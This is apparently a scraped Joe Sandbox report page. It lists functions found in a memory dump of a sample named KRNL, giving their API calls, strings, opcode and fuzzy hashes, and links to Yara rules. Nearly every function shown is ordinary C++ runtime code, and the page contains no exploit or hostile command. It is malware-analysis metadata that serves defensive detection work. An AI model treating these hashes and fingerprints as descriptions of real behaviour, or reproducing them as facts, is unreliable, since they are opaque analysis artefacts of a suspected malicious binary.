Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 558e0431efedae65852da3528f575500a9fc5d0fa933715d3574d6cf84de41da
Instruction ID: 694c281a61097a4ca51bfcc6b9b39304c963aa9d2f759b1aa154b3f46cf189b9
Opcode Fuzzy Hash: 558e0431efedae65852da3528f575500a9fc5d0fa933715d3574d6cf84de41da
Instruction Fuzzy Hash: 9341C074A0021C9BDF10DF68C884AFEBBA7AF44314F148959EA149B393DB35AE11CB94

Function 006E3C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006E3CA5
std::_Lockit::_Lockit.LIBCPMT ref: 006E3CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 006E3CE0
__Getctype.LIBCPMT ref: 006E3D92
std::_Lockit::~_Lockit.LIBCPMT ref: 006E3DD8

Strings

e.q, xrefs: 006E3D67

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.q
API String ID: 3087743877-2639829087
Opcode ID: 63aa61f81adc38af409f08ce9777fe27e0def00ca64afffe91047b8aec370fbb
Instruction ID: 1f729a07bbbb5adc5d9fdeb5a5269754e35ec728f4d795bcd7b305397da966ec
Opcode Fuzzy Hash: 63aa61f81adc38af409f08ce9777fe27e0def00ca64afffe91047b8aec370fbb
Instruction Fuzzy Hash: B0413971D013648FCB10DF99D845BAEB7B2FF44B20F188219D8156B391DB79AA01CF95

Function 006F0080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 006F0086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 006F0094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 006F00A5

Strings

kernel32.dll, xrefs: 006F0081
GetTempPath2W, xrefs: 006F009A
GetSystemTimePreciseAsFileTime, xrefs: 006F008E

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 1d8798a295572aa36238ed6d6de65352cac2dfe8ecd2a3bb54ac44ab1b5d945d
Instruction ID: e9b8ae64561f45ce0c7949f3ae10230d7d786c665f964b454091b45a6a29c701
Opcode Fuzzy Hash: 1d8798a295572aa36238ed6d6de65352cac2dfe8ecd2a3bb54ac44ab1b5d945d
Instruction Fuzzy Hash: FCD09EBA5522106B83115FBC7C09CC93EA9FA09711301C152F441E22D0DA7C65419AED

Function 00704F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3457337e6bd9e202d0c574e7eecf980bc0936f312b3d79a21c6e5436919e4d71
Instruction ID: 8cf2d19bb5e8a2ad2b5e2a5776c6eaf0bd55c6c08583ad03aab2436cacb0edfe
Opcode Fuzzy Hash: 3457337e6bd9e202d0c574e7eecf980bc0936f312b3d79a21c6e5436919e4d71
Instruction Fuzzy Hash: 0DB1E1B4A04A49EFDB11DFA8D840BBEBBF1BF49304F148258E900972C2C7799941CFA4

Function 006E9B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 006E9C97
std::_Throw_Cpp_error.LIBCPMT ref: 006E9CA8
std::_Throw_Cpp_error.LIBCPMT ref: 006E9CBC
std::_Throw_Cpp_error.LIBCPMT ref: 006E9CDD
std::_Throw_Cpp_error.LIBCPMT ref: 006E9CEE
std::_Throw_Cpp_error.LIBCPMT ref: 006E9D06

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: e5fab6b2c589da800f67e20cfb920f36e95ffa60d82340013dc1bd73cdef1b67
Instruction ID: 9320267bc15885780e24f8158d8190e29c47d907da69b4f21adf2af9b52efddc
Opcode Fuzzy Hash: e5fab6b2c589da800f67e20cfb920f36e95ffa60d82340013dc1bd73cdef1b67
Instruction Fuzzy Hash: FE41F5B0902780CBDB30AB6289067EFB7F6AF45724F28062DD57A163D1D3316904CB66

Function 006FACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,006FACDE,006F0760,006EB77F,AB1687B8,?,?,?,?,0070BFCA,000000FF), ref: 006FACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 006FAD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006FAD1C
SetLastError.KERNEL32(00000000,?,006FACDE,006F0760,006EB77F,AB1687B8,?,?,?,?,0070BFCA,000000FF), ref: 006FAD6E

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: fb94df17d09db5008362fb7756a95dcf03ab174f7653229126aa1ec9fada4ca0
Instruction ID: ff97f8ed4bc408cf8d7c3fc3b2ad54830fc3a6f8cf20cc3f292b8784dfa646e1
Opcode Fuzzy Hash: fb94df17d09db5008362fb7756a95dcf03ab174f7653229126aa1ec9fada4ca0
Instruction Fuzzy Hash: FC01F57220A619DEE7242AB87C498B626C6EF06B75720833AF714457F0EF1558039555

Function 006FB56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 006FB68D
CallUnexpected.LIBVCRUNTIME ref: 006FB906

Strings

csm, xrefs: 006FB5AB
csm, xrefs: 006FB618
csm, xrefs: 006FB6C4

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 4b2818c0ed580a6db19a5445873140bceaf561ac419b547d37c9f69b7fee7d31
Instruction ID: ac47d030443d3a466e2c7c2c504038bfed802992aabd5bc1c8715c08c71212a4
Opcode Fuzzy Hash: 4b2818c0ed580a6db19a5445873140bceaf561ac419b547d37c9f69b7fee7d31
Instruction Fuzzy Hash: 79B1677580020DEFCF14DFA4C8819BEBBBABF44310B14555AEA25AB212D731DA51CF96

Function 006EBE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 006EBF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 006EC028

Strings

MOC, xrefs: 006EBE9F
csm, xrefs: 006EBEB7
RCC, xrefs: 006EBEAB

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: b6c5d81c810cc1274d6920e846810f5cf096aca96933b96eae19ce6a35613a7c
Instruction ID: 80d1008a47589e5fec60db716430fb67a448bf0da8ac3d053a67c16db8a92f1a
Opcode Fuzzy Hash: b6c5d81c810cc1274d6920e846810f5cf096aca96933b96eae19ce6a35613a7c
Instruction Fuzzy Hash: 1241CE34902388DFCF28DF6AD945AAFB7B6BF44300B68906DE045A7742C734AA05CF55

Function 006F55C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,AB1687B8,?,?,00000000,0070BE94,000000FF,?,006F5685,00000002,?,006F5721,006F8396), ref: 006F55F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 006F560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,0070BE94,000000FF,?,006F5685,00000002,?,006F5721,006F8396), ref: 006F562D

Strings

mscoree.dll, xrefs: 006F55F2
CorExitProcess, xrefs: 006F5603

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c2082092b1bb25e83b11f16d5ceef1813ba1fc995de19d4cc7a234b6cbf34af1
Instruction ID: 3bab834c2e031fdaa1c95afc75f8726b03673c70e9459ab87e9cfc4dc0d0f2c0
Opcode Fuzzy Hash: c2082092b1bb25e83b11f16d5ceef1813ba1fc995de19d4cc7a234b6cbf34af1
Instruction Fuzzy Hash: 3E016771540A19EFDB118F58DC09BEEBBB9FB04B15F018525F921E22E0DB789D00CA94

Function 006FD6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006FD76F
__alloca_probe_16.LIBCMT ref: 006FD838
__freea.LIBCMT ref: 006FD89F

Part of subcall function 006FBF11: RtlAllocateHeap.NTDLL(00000000,006FDF35,?,?,006FDF35,00000220,?,00000000,?), ref: 006FBF43

__freea.LIBCMT ref: 006FD8B2
__freea.LIBCMT ref: 006FD8BF

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: bb54ce4c3091b957c4e278a84252753b620442c7112fec1d2a3df5ca0bf94daa
Instruction ID: 2c19cfb39e9bada7a974c9f23f455b40d615caffa5220fc26033e33459bd7f10
Opcode Fuzzy Hash: bb54ce4c3091b957c4e278a84252753b620442c7112fec1d2a3df5ca0bf94daa
Instruction Fuzzy Hash: 5351B57260020EAFEB215F65CC81EFF7AABEF44790B15012CFE14D6251EB71EC1196A4

Function 006EEFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006EF005
AcquireSRWLockExclusive.KERNEL32(006E8E38), ref: 006EF024
AcquireSRWLockExclusive.KERNEL32(006E8E38,006EA2F0,?), ref: 006EF052
TryAcquireSRWLockExclusive.KERNEL32(006E8E38,006EA2F0,?), ref: 006EF0AD
TryAcquireSRWLockExclusive.KERNEL32(006E8E38,006EA2F0,?), ref: 006EF0C4

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 3c69e2b5fc7cb5f103d12c6b8410b1aaa5a8b962232d7514bdf93b1040595f4f
Instruction ID: 3d59a0fc825efad6828327974411dec3a529b87ea031430514ec7b8493255d30
Opcode Fuzzy Hash: 3c69e2b5fc7cb5f103d12c6b8410b1aaa5a8b962232d7514bdf93b1040595f4f
Instruction Fuzzy Hash: F0416D3160278ADBCB20CF66C4919EAB3B6FF04310B10897AE44687641E770F985CB55

Function 006ED4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006ED4C9
std::_Lockit::_Lockit.LIBCPMT ref: 006ED4D3
int.LIBCPMT ref: 006ED4EA

Part of subcall function 006EC1E5: std::_Lockit::_Lockit.LIBCPMT ref: 006EC1F6
Part of subcall function 006EC1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 006EC210

codecvt.LIBCPMT ref: 006ED50D
std::_Lockit::~_Lockit.LIBCPMT ref: 006ED544

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: efb3d3b4c44e2fdb652f793045497e22f6264bb669f01c4efb36290e2c90b34f
Instruction ID: b4d0c4642763be2541857f7fb966bd011c441fa72e0ed29835dea9242395db61
Opcode Fuzzy Hash: efb3d3b4c44e2fdb652f793045497e22f6264bb669f01c4efb36290e2c90b34f
Instruction Fuzzy Hash: 7A01A1319023959FCB02EBA98945AFD7773AF84724F14411DE415AB3C2DF349E018785

Function 006EADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006EADDE
std::_Lockit::_Lockit.LIBCPMT ref: 006EADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 006EAE57

Part of subcall function 006EACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 006EACC2

std::locale::_Setgloballocale.LIBCPMT ref: 006EAE04
_Yarn.LIBCPMT ref: 006EAE1A

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: b8659ef3c6f157f55fbd69b1e35f7ebce03cd11ea150a065e63acb30f1ebe2a5
Instruction ID: bea54adbb77d3ef6881b3b8552a59e70f5b5c58c962d983dcecec3a1bc0db0df
Opcode Fuzzy Hash: b8659ef3c6f157f55fbd69b1e35f7ebce03cd11ea150a065e63acb30f1ebe2a5
Instruction Fuzzy Hash: 6B01B1756023909BCB06EFA5D8555BD3762FF84750B15802DE9065B3C1CF78BE42CB8A

Function 00700976 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(?,?,006F5495,00718E38,0000000C), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000), ref: 006FC210

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,006F5BD5,?,?,?,00000055,?,-00000050,?,?,?), ref: 00700A35
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,006F5BD5,?,?,?,00000055,?,-00000050,?,?), ref: 00700A6C

Strings

utf8, xrefs: 00700B3E
,Kq, xrefs: 007009E9

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: ,Kq$utf8
API String ID: 943130320-1836333774
Opcode ID: bc3e0e0c270f296bffe0e1446ce1f6b543816833ca692cc9a935f245fec58890
Instruction ID: c37cdb41688daf3ab7a874337e7a83621760015f6da798e0f364c14415c5dad7
Opcode Fuzzy Hash: bc3e0e0c270f296bffe0e1446ce1f6b543816833ca692cc9a935f245fec58890
Instruction Fuzzy Hash: 0B5106B5704305EADB24AB34CC46FB673E8EF05724F144629F549971C2EA7CE98087E5

Function 006E73E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 006E7526
___std_exception_copy.LIBVCRUNTIME ref: 006E7561

Part of subcall function 006EAF37: CreateThreadpoolWork.KERNEL32(006EB060,006E8A2A,00000000), ref: 006EAF46
Part of subcall function 006EAF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 006EAF53

Strings

Fail to schedule the chore!, xrefs: 006E7560
G.q, xrefs: 006E7551

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.q
API String ID: 3683891980-4289182727
Opcode ID: 1820e38347da644820f71d54fe1c2df4c89fb2003db227e515c47da4987f1df4
Instruction ID: c5c31b02e7e76ad7c242f9661e7fc1727bc66479e59dddb65c88342f62da0b48
Opcode Fuzzy Hash: 1820e38347da644820f71d54fe1c2df4c89fb2003db227e515c47da4987f1df4
Instruction Fuzzy Hash: 07517BB0902348DFCB05DF94D844BAEBBB6FF48314F144129E8196B391E779AA05CB95

Function 006E3E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006E3EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 006E4002

Part of subcall function 006EABC5: _Yarn.LIBCPMT ref: 006EABE5
Part of subcall function 006EABC5: _Yarn.LIBCPMT ref: 006EAC09

Strings

|=ne.q, xrefs: 006E3E9B, 006E3F1F
bad locale name, xrefs: 006E3F46

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
